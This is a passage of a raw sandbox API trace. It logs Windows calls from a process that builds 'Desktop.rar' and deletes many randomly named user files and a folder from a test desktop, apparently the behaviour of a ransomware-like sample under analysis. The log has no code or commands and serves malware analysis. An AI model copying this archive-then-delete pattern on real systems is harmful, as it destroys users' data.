lpDistanceToMoveHigh=0x1b9cf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9cf0*=0) returned 0x8 [0065.993] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x299d880 [0065.993] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x299d6a0 [0065.993] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x299d670 [0065.993] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x299d8b0 [0065.993] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299d670 | out: hHeap=0x290000) returned 1 [0065.993] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299d6a0 | out: hHeap=0x290000) returned 1 [0065.993] WriteFile (in: hFile=0x198, lpBuffer=0x299d883*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x1b8330, lpOverlapped=0x0 | out: lpBuffer=0x299d883*, lpNumberOfBytesWritten=0x1b8330*=0x12, lpOverlapped=0x0) returned 1 [0065.993] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299d8b0 | out: hHeap=0x290000) returned 1 [0065.993] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299d880 | out: hHeap=0x290000) returned 1 [0065.993] SetFilePointer (in: hFile=0x198, lDistanceToMove=8827735, lpDistanceToMoveHigh=0x1bd610*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd610*=0) returned 0x86b357 [0065.993] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd570*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd570*=0) returned 0x86b357 [0065.993] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x299d880 [0065.993] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299d880 | out: hHeap=0x290000) returned 1 [0065.993] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9c20*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9c20*=0) returned 0x86b357 [0065.993] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x299d880 [0065.993] WriteFile (in: hFile=0x198, lpBuffer=0x299d883*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x1b8260, lpOverlapped=0x0 | out: lpBuffer=0x299d883*, lpNumberOfBytesWritten=0x1b8260*=0x13, lpOverlapped=0x0) returned 1 [0065.994] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299d880 | out: hHeap=0x290000) returned 1 [0065.994] WriteFile (in: hFile=0x198, lpBuffer=0x3715f0*, nNumberOfBytesToWrite=0xe1d, lpNumberOfBytesWritten=0x1bd650, lpOverlapped=0x0 | out: lpBuffer=0x3715f0*, lpNumberOfBytesWritten=0x1bd650*=0xe1d, lpOverlapped=0x0) returned 1 [0065.994] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299ff10 | out: hHeap=0x290000) returned 1 [0065.994] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb660*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bb660*=0) returned 0x86c187 [0065.994] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b7d40*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b7d40*=0) returned 0x86c187 [0065.994] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x299d880 [0065.994] WriteFile (in: hFile=0x198, lpBuffer=0x299d883*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1b6380, lpOverlapped=0x0 | out: lpBuffer=0x299d883*, lpNumberOfBytesWritten=0x1b6380*=0x8, lpOverlapped=0x0) returned 1 [0065.994] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299d880 | out: hHeap=0x290000) returned 1 [0065.994] CloseHandle (hObject=0x198) returned 1 [0066.533] LoadStringW (in: hInstance=0x13f160000, uID=0x33f, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="Deleting") returned 0x8 [0066.533] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x60) returned 0x3519f0 [0066.533] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3519f0 | out: hHeap=0x290000) returned 1 [0066.533] DeleteFileW (lpFileName="xipMOvrpEcaMKsnrOoK.m4a" (normalized: "c:\\users\\whuoxysd\\desktop\\xipmovrpecamksnrook.m4a")) returned 1 [0066.534] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.534] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.534] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.534] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.534] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.534] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="wfNksu nJRG5") returned 12 [0066.534] SetWindowTextW (hWnd=0x10216, lpString="xipMOvrpEcaMKsnrOoK.m4a") returned 1 [0066.534] GetTickCount () returned 0xa66f1a [0066.534] UpdateWindow (hWnd=0x1020e) returned 1 [0066.535] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.535] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.535] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.535] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.535] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="xipMOvrpEcaMKsnrOoK.m4a") returned 23 [0066.535] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.535] GetTickCount () returned 0xa66f1a [0066.535] GetLastError () returned 0x5 [0066.535] SetLastError (dwErrCode=0x5) [0066.535] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0066.535] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0066.536] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0066.536] SetWindowTextW (hWnd=0x10218, lpString=" 2%") returned 1 [0066.536] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x2, lParam=0x0) returned 0x0 [0066.536] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95178123222) returned 1 [0066.536] GetTickCount () returned 0xa66f1a [0066.536] GetLastError () returned 0x0 [0066.536] SetLastError (dwErrCode=0x0) [0066.536] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0066.536] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:13:04") returned 8 [0066.536] SetWindowTextW (hWnd=0x10220, lpString="00:13:39") returned 1 [0066.536] GetTickCount () returned 0xa66f1a [0066.536] GetLastError () returned 0x0 [0066.536] SetLastError (dwErrCode=0x0) [0066.536] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0066.539] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0066.539] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.539] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.539] GetFocus () returned 0x10232 [0066.539] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.539] DeleteFileW (lpFileName="wfNksu nJRG5\\_acNQOwErx 4yX.mp3" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\_acnqowerx 4yx.mp3")) returned 1 [0066.539] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.539] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.539] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.539] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.539] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.539] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.539] SetWindowTextW (hWnd=0x10216, lpString="_acNQOwErx 4yX.mp3") returned 1 [0066.539] GetTickCount () returned 0xa66f1a [0066.539] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.539] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.540] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.540] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.540] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="_acNQOwErx 4yX.mp3") returned 18 [0066.540] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.540] GetTickCount () returned 0xa66f1a [0066.540] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95178534783) returned 1 [0066.540] GetTickCount () returned 0xa66f1a [0066.540] GetTickCount () returned 0xa66f1a [0066.540] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.540] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.540] GetFocus () returned 0x10232 [0066.540] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.541] PeekMessageW (in: lpMsg=0x1bd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd610) returned 0 [0066.541] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.541] DeleteFileW (lpFileName="wfNksu nJRG5\\XTt3.swf" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\xtt3.swf")) returned 1 [0066.541] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.541] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.541] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.541] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.541] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.541] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.541] SetWindowTextW (hWnd=0x10216, lpString="XTt3.swf") returned 1 [0066.541] GetTickCount () returned 0xa66f1a [0066.541] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.541] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.541] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.542] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.542] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="XTt3.swf") returned 8 [0066.542] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.542] GetTickCount () returned 0xa66f1a [0066.542] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95178728535) returned 1 [0066.542] GetTickCount () returned 0xa66f1a [0066.542] GetTickCount () returned 0xa66f1a [0066.542] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.542] DeleteFileW (lpFileName="wfNksu nJRG5\\WIsnHaDYoZ0.ppt" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\wisnhadyoz0.ppt")) returned 1 [0066.542] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.542] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.543] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.543] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.543] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.543] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.543] SetWindowTextW (hWnd=0x10216, lpString="WIsnHaDYoZ0.ppt") returned 1 [0066.543] GetTickCount () returned 0xa66f1a [0066.543] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.543] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.543] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.543] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.543] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="WIsnHaDYoZ0.ppt") returned 15 [0066.543] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.543] GetTickCount () returned 0xa66f1a [0066.543] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95178897113) returned 1 [0066.544] GetTickCount () returned 0xa66f1a [0066.544] GetTickCount () returned 0xa66f1a [0066.544] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.544] DeleteFileW (lpFileName="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\rflcwh3vitv1c_t4nl.avi")) returned 1 [0066.544] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.544] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.544] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.544] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.544] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.544] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.544] SetWindowTextW (hWnd=0x10216, lpString="RFLcwh3Vitv1c_T4nL.avi") returned 1 [0066.544] GetTickCount () returned 0xa66f1a [0066.544] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.544] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.545] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.545] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.545] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="RFLcwh3Vitv1c_T4nL.avi") returned 22 [0066.545] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.545] GetTickCount () returned 0xa66f1a [0066.545] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95179033290) returned 1 [0066.545] GetTickCount () returned 0xa66f1a [0066.545] GetTickCount () returned 0xa66f1a [0066.545] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.545] DeleteFileW (lpFileName="wfNksu nJRG5\\qHh6uE8iAnd.xls" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\qhh6ue8iand.xls")) returned 1 [0066.545] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.545] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.545] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.545] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.546] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.546] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.546] SetWindowTextW (hWnd=0x10216, lpString="qHh6uE8iAnd.xls") returned 1 [0066.546] GetTickCount () returned 0xa66f1a [0066.546] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.546] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.546] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.546] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.546] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="qHh6uE8iAnd.xls") returned 15 [0066.546] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.546] GetTickCount () returned 0xa66f1a [0066.546] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95179171378) returned 1 [0066.546] GetTickCount () returned 0xa66f1a [0066.546] GetTickCount () returned 0xa66f1a [0066.546] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.546] DeleteFileW (lpFileName="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\gejdlc0aswb3ispxdfj8.csv")) returned 1 [0066.547] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.547] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.547] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.547] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.547] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.547] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.547] SetWindowTextW (hWnd=0x10216, lpString="GeJdlc0asWB3ISPXdFJ8.csv") returned 1 [0066.547] GetTickCount () returned 0xa66f1a [0066.547] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.547] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.547] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.547] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.547] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="GeJdlc0asWB3ISPXdFJ8.csv") returned 24 [0066.548] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.548] GetTickCount () returned 0xa66f1a [0066.548] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95179323493) returned 1 [0066.548] GetTickCount () returned 0xa66f1a [0066.548] GetTickCount () returned 0xa66f1a [0066.548] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.548] DeleteFileW (lpFileName="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5\\3rrotsnwkjt8qlje.swf")) returned 1 [0066.548] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.548] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.548] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.548] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.549] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.549] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.549] SetWindowTextW (hWnd=0x10216, lpString="3rrOtsNWKjt8qLje.swf") returned 1 [0066.549] GetTickCount () returned 0xa66f29 [0066.549] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.549] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.549] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.549] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.549] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="3rrOtsNWKjt8qLje.swf") returned 20 [0066.549] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.549] GetTickCount () returned 0xa66f29 [0066.549] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95179485161) returned 1 [0066.549] GetTickCount () returned 0xa66f29 [0066.550] GetTickCount () returned 0xa66f29 [0066.550] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.550] RemoveDirectoryW (lpPathName="wfNksu nJRG5" (normalized: "c:\\users\\whuoxysd\\desktop\\wfnksu njrg5")) returned 1 [0066.643] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.643] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.643] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.643] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.643] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.643] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.643] SetWindowTextW (hWnd=0x10216, lpString="wfNksu nJRG5") returned 1 [0066.643] GetTickCount () returned 0xa66f87 [0066.643] UpdateWindow (hWnd=0x1020e) returned 1 [0066.644] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.644] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.644] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.644] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.644] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="wfNksu nJRG5") returned 12 [0066.644] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.644] GetTickCount () returned 0xa66f87 [0066.644] GetLastError () returned 0x5 [0066.644] SetLastError (dwErrCode=0x5) [0066.644] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0066.644] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0066.644] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 2%") returned 5 [0066.644] SetWindowTextW (hWnd=0x10218, lpString=" 25%") returned 1 [0066.644] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x19, lParam=0x0) returned 0x2 [0066.644] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95188972497) returned 1 [0066.644] GetTickCount () returned 0xa66f87 [0066.644] GetTickCount () returned 0xa66f87 [0066.644] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.644] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.644] GetFocus () returned 0x10232 [0066.644] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.644] DeleteFileW (lpFileName="w9CVHhfkQl0.mkv" (normalized: "c:\\users\\whuoxysd\\desktop\\w9cvhhfkql0.mkv")) returned 1 [0066.645] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.645] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.645] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.645] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.645] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.645] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.645] SetWindowTextW (hWnd=0x10216, lpString="w9CVHhfkQl0.mkv") returned 1 [0066.646] GetTickCount () returned 0xa66f87 [0066.646] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.646] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.646] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.646] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.646] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="w9CVHhfkQl0.mkv") returned 15 [0066.646] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.646] GetTickCount () returned 0xa66f87 [0066.646] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95189137591) returned 1 [0066.646] GetTickCount () returned 0xa66f87 [0066.646] GetTickCount () returned 0xa66f87 [0066.646] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.646] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.646] GetFocus () returned 0x10232 [0066.646] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.647] DeleteFileW (lpFileName="TYcyuRxH.mkv" (normalized: "c:\\users\\whuoxysd\\desktop\\tycyurxh.mkv")) returned 1 [0066.647] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.647] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.647] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.647] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.647] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.647] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.647] SetWindowTextW (hWnd=0x10216, lpString="TYcyuRxH.mkv") returned 1 [0066.648] GetTickCount () returned 0xa66f87 [0066.648] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 